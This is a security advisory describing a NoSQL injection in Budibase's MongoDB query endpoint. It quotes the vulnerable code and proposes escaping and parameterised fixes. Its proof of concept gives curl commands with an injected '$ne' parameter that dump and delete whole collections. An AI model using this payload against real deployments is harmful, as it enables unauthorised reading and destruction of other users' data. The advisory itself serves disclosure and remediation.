Summary

Budibase's MongoDB query execution endpoint (POST /api/v2/queries/:queryId) is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext() function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the result with JSON.parse(). An attacker can inject JSON metacharacters (", {, }) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.

Details

The vulnerability exists because input validation and interpolation are misaligned. The validateQueryInputs() function blocks Handlebars template syntax ({{}}) but does not sanitize JSON structural characters:

packages/server/src/api/controllers/query/index.ts:57-69

function validateQueryInputs(parameters: QueryEventParameters) {
  for (let entry of Object.entries(parameters)) {
    const [key, value] = entry
    if (typeof value !== "string") {
      continue
    }
    if (findHBSBlocks(value).length !== 0) {
      throw new Error(
        `Parameter '${key}' input contains a handlebars binding - this is not allowed.`
      )
    }
  }
}

After validation passes, enrichContext() performs raw string interpolation with escaping explicitly disabled:

packages/server/src/sdk/workspace/queries/queries.ts:105-108

enrichedQuery[key] = processStringSync(fields[key], parameters, {
  noEscaping: true,
  noHelpers: true,
  escapeNewlines: true,
})

The interpolated string is then parsed as JSON at line 122:

packages/server/src/sdk/workspace/queries/queries.ts:122

enrichedQuery.json = JSON.parse(
  enrichedQuery.json ||
  enrichedQuery.customData ||
  enrichedQuery.requestBody
)

The parsed object flows directly into MongoDB driver calls with no further sanitization:

packages/server/src/integrations/mongodb.ts:509

return await collection.find(json).toArray()

packages/server/src/integrations/mongodb.ts:624

return await collection.deleteMany(json.filter, json.options)

Consider a saved query with a JSON template like {"username": "{{username}}"}. If an attacker provides the parameter value ", "$ne": " the interpolated string becomes {"username": "", "$ne": ""} — a valid JSON object that matches all documents where username is not empty, instead of matching a single specific user.

The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.

PoC

Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).

Step 1: Authenticate as a regular app user

TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"appuser@example.com","password":"password"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

Step 2: Execute the query normally (returns only matching document)

curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]

Step 3: Inject NoSQL operator to dump all documents

curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]

The injected value ", "$ne": " transforms the query from {"username": "alice"} to {"username": "", "$ne": ""}, which matches all documents where username is not empty.

Step 4: Delete all documents via a delete query (if a delete-type query is saved)

curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filter

Impact

• Data exfiltration: Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.
• Data modification: Through updateMany queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.
• Data destruction: Through deleteMany queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.
• Authorization bypass: The attack requires only QUERY WRITE permission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.

Recommended Fix

Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in enrichContext() before the processStringSync call:

packages/server/src/sdk/workspace/queries/queries.ts

// Add this helper function
function escapeJsonValue(value: string): string {
  return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')
}

// In enrichContext(), sanitize parameters before interpolation
for (const [key, value] of Object.entries(parameters)) {
  if (typeof value === "string") {
    parameters[key] = escapeJsonValue(value)
  }
}

Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.

Additionally, add Joi validation to the execute endpoint (POST /api/v2/queries/:queryId) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.